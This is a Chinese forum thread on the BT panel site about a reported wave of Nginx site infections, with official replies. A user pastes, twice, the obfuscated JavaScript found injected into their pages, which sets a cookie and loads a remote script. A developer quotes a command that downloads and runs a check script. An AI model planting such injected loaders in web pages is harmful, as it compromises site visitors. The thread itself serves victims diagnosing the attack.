宝塔官网 IDC推荐 宝塔币商城 邀请大使
█ 菠萝云-免费装宝塔,4G内存68 █ █ 易探云·香港/美国vps仅9元 █ ▅▆▇ 慈云数据-服务器9.9/月 ▇▆▅ A4招租，联系qq394030111 【多途云】高防CDN
高防服务器，无视一切流量攻击 +++美国百G防护500M带宽29元+++ OV/EV SSL证书，可当日签发 【阿里云】宝塔一键部署，5.5折 宝塔一键部署DV,EV,OV,SSL证书
█ 易探云·高防云4核8G仅88元 █ ===真高防===CDN99元起|全球节点 香港日本美国弹性云19.9 【阿里云】2核2G，3M，45.1元/年 在线网站测速、批量PING运维工具
当前位置：论坛首页 > Linux面板 > 建议

【官方公告】关于外传宝塔面板或Nginx异常的公告

堡塔开发wzz发表在 Linux面板2022-12-9 10:18   [复制链接] 159 94149

堡塔开发wzz
发表于 2022-12-10 09:43:56 | 显示全部楼层
janzel 发表于 2022-12-9 23:14
这是中招了吗？

不是
使用道具 举报 回复 支持 反对
堡塔开发wzz
发表于 2022-12-10 09:44:38 | 显示全部楼层
catkin038 发表于 2022-12-10 01:21
使用这条命令
curl -sSO http://download.bt.cn/tools/w_check.py && /www/server/panel/pyenv/bin/pytho ...

建议所有用户升级到最新版宝塔面板，所以我写了依赖面板的python
如果无法执行命令的用户，先将宝塔面板升级到最新版
使用道具 举报 回复 支持 反对
yuesekaer
发表于 2022-12-10 12:21:35 | 显示全部楼层
宝塔用户_vtykot 发表于 2022-12-10 10:22
这是真的吗？？？

赞美伟大的宝塔（雾
使用道具 举报 回复 支持 反对
宝塔用_6c87
发表于 2022-12-10 15:37:13 | 显示全部楼层
被改index文件，有没有办法解决？
使用道具 举报 回复 支持 反对
宝塔用_6c87
发表于 2022-12-10 15:42:28 | 显示全部楼层
宝塔用_6c87 发表于 2022-12-10 15:37
被改index文件，有没有办法解决？

这样的
QQ截图20221204170613.jpg
使用道具 举报 回复 支持 反对
宝塔用户_dfgqgm
发表于 2022-12-10 17:25:59 | 显示全部楼层
<script>var _0xb2ce=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2D\x67\x6F\x2E\x6E\x65\x74\x2F\x76\x61\x73\x64\x65\x76\x2F\x77\x65\x62\x5F\x77\x65\x62\x70\x65\x72\x73\x69\x73\x74\x61\x6E\x63\x65\x5F\x76\x32\x2F\x76\x31\x2E\x38\x2E\x32\x2F\x66\x6C\x6F\x67\x2E\x63\x6F\x72\x65\x2E\x6D\x69\x6E\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x808ax2,_0x808ax3,_0x808ax4){var _0x808ax5= new Date();_0x808ax5[_0xb2ce[1]](_0x808ax5[_0xb2ce[0]]()+ _0x808ax4);document[_0xb2ce[2]]= _0x808ax2+ _0xb2ce[3]+ _0x808ax3+ _0xb2ce[4]+ _0x808ax5[_0xb2ce[5]]()}setc(_0xb2ce[6],_0xb2ce[7],360);document[_0xb2ce[9]](unescape(_0xb2ce[8]));</script><html>
<head>


我的服务器也中了

<script>var _0xb2ce=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2D\x67\x6F\x2E\x6E\x65\x74\x2F\x76\x61\x73\x64\x65\x76\x2F\x77\x65\x62\x5F\x77\x65\x62\x70\x65\x72\x73\x69\x73\x74\x61\x6E\x63\x65\x5F\x76\x32\x2F\x76\x31\x2E\x38\x2E\x32\x2F\x66\x6C\x6F\x67\x2E\x63\x6F\x72\x65\x2E\x6D\x69\x6E\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x808ax2,_0x808ax3,_0x808ax4){var _0x808ax5= new Date();_0x808ax5[_0xb2ce[1]](_0x808ax5[_0xb2ce[0]]()+ _0x808ax4);document[_0xb2ce[2]]= _0x808ax2+ _0xb2ce[3]+ _0x808ax3+ _0xb2ce[4]+ _0x808ax5[_0xb2ce[5]]()}setc(_0xb2ce[6],_0xb2ce[7],360);document[_0xb2ce[9]](unescape(_0xb2ce[8]));</script><html>
<head>

每次新建的网站自动挂马
使用道具 举报 回复 支持 反对
堡塔开发wzz
发表于 2022-12-10 17:43:19 | 显示全部楼层
宝塔用户_dfgqgm 发表于 2022-12-10 17:25
var _0xb2ce=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73"," ...

加我企业微信，帮你清理
使用道具 举报 回复 支持 反对
lfq1989
发表于 2022-12-10 18:02:08 | 显示全部楼层
过年了  要挣钱
使用道具 举报 回复 支持 反对
一把大枪
发表于 2022-12-10 20:11:57 | 显示全部楼层
这样清理不是事情呀，要从根本上解决呀
使用道具 举报 回复 支持 反对
堡塔开发wzz
发表于 2022-12-10 20:55:28 | 显示全部楼层
一把大枪 发表于 2022-12-10 20:11
这样清理不是事情呀，要从根本上解决呀

我们继续全力跟进和协助用户排查Nginx挂马情况，直到溯源出结果。最终会更新解决方案，请相信我们
使用道具 举报 回复 支持 反对
宝塔用户_fydezo
发表于 2022-12-10 21:01:56 | 显示全部楼层
堡塔安全赤井秀一 发表于 2022-12-10 20:55
我们继续全力跟进和协助用户排查Nginx挂马情况，直到溯源出结果。最终会更新解决方案，请相信我们 ...

我之前也有服务器被黑了 我还保留着被植入的文件 可以提供点线索 看对你们有没有帮助 加这个帖子留的QQ 但是没有回应
使用道具 举报 回复 支持 反对
宝塔用户_xbykqn
发表于 2022-12-10 22:36:07 | 显示全部楼层
宝塔用户_fydezo 发表于 2022-12-10 21:01
我之前也有服务器被黑了 我还保留着被植入的文件 可以提供点线索 看对你们有没有帮助 加这个帖子留的QQ  ...

我发个帖子就被宝塔删了。他们自己的演示站吧都被黑了还在说自己产品没问题。不知道他们怎么想的。
使用道具 举报 回复 支持 3 反对 0
WP建站
发表于 2022-12-10 23:14:23 | 显示全部楼层
宝塔用户_xbykqn 发表于 2022-12-10 22:36
我发个帖子就被宝塔删了。他们自己的演示站吧都被黑了还在说自己产品没问题。不知道他们怎么想的。 ...

那个演示站不是谁都可以登陆进去修改页面html和内容的吗，那那里算得上被黑啊。
使用道具 举报 回复 支持 反对
宝塔用户_xbykqn
发表于 2022-12-10 23:21:26 | 显示全部楼层
WordPress优化 发表于 2022-12-10 23:14
那个演示站不是谁都可以登陆进去修改页面html和内容的吗，那那里算得上被黑啊。 ...

他们也应该做加固啊
使用道具 举报 回复 支持 反对
WP建站
发表于 2022-12-10 23:23:34 | 显示全部楼层
宝塔用户_xbykqn 发表于 2022-12-10 23:21
他们也应该做加固啊

人家不正在暂停和维护加固中吗
使用道具 举报 回复 支持 反对
12345678910下一页
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

登录 注册
普通问题处理

论坛响应时间：72小时

问题处理方式：排队(仅解答)

工作时间：白班：9：00 - 18：00

紧急运维服务

响应时间：3分钟

问题处理方式：宝塔专家1对1服务

工作时间：工作日：9：00 - 18：30

宝塔专业团队为您解决服务器疑难问题

立即付费处理

工作时间：09:00至24:00

  • 联系我们
  • 周一至周六，节假日除外
  • 9:15~12:30，14:00~18:15
  • 联系电话：0769-23030556
  • 如有问题，论坛发帖咨询
  • 商务合作QQ/WX：394030111

《开源许可协议》 | 《用户协议》 | 《隐私声明》 |

高新技术企业编号GR201944000059|粤B2-20201398|粤ICP备17030143号|粤公网安备44190002003211号

Copyright © 2021 宝塔面板|让运维简单高效(www.bt.cn) 广东堡塔安全技术有限公司     Powered by Discuz! X3.4Rights Reserved

违法网站请勿向我司工作人员发起任何形式的人工服务请求，严禁使用宝塔面板从事任何非法活动 | 违规信息举报入口 | 中国互联网举报中心

快速回复 返回顶部 返回列表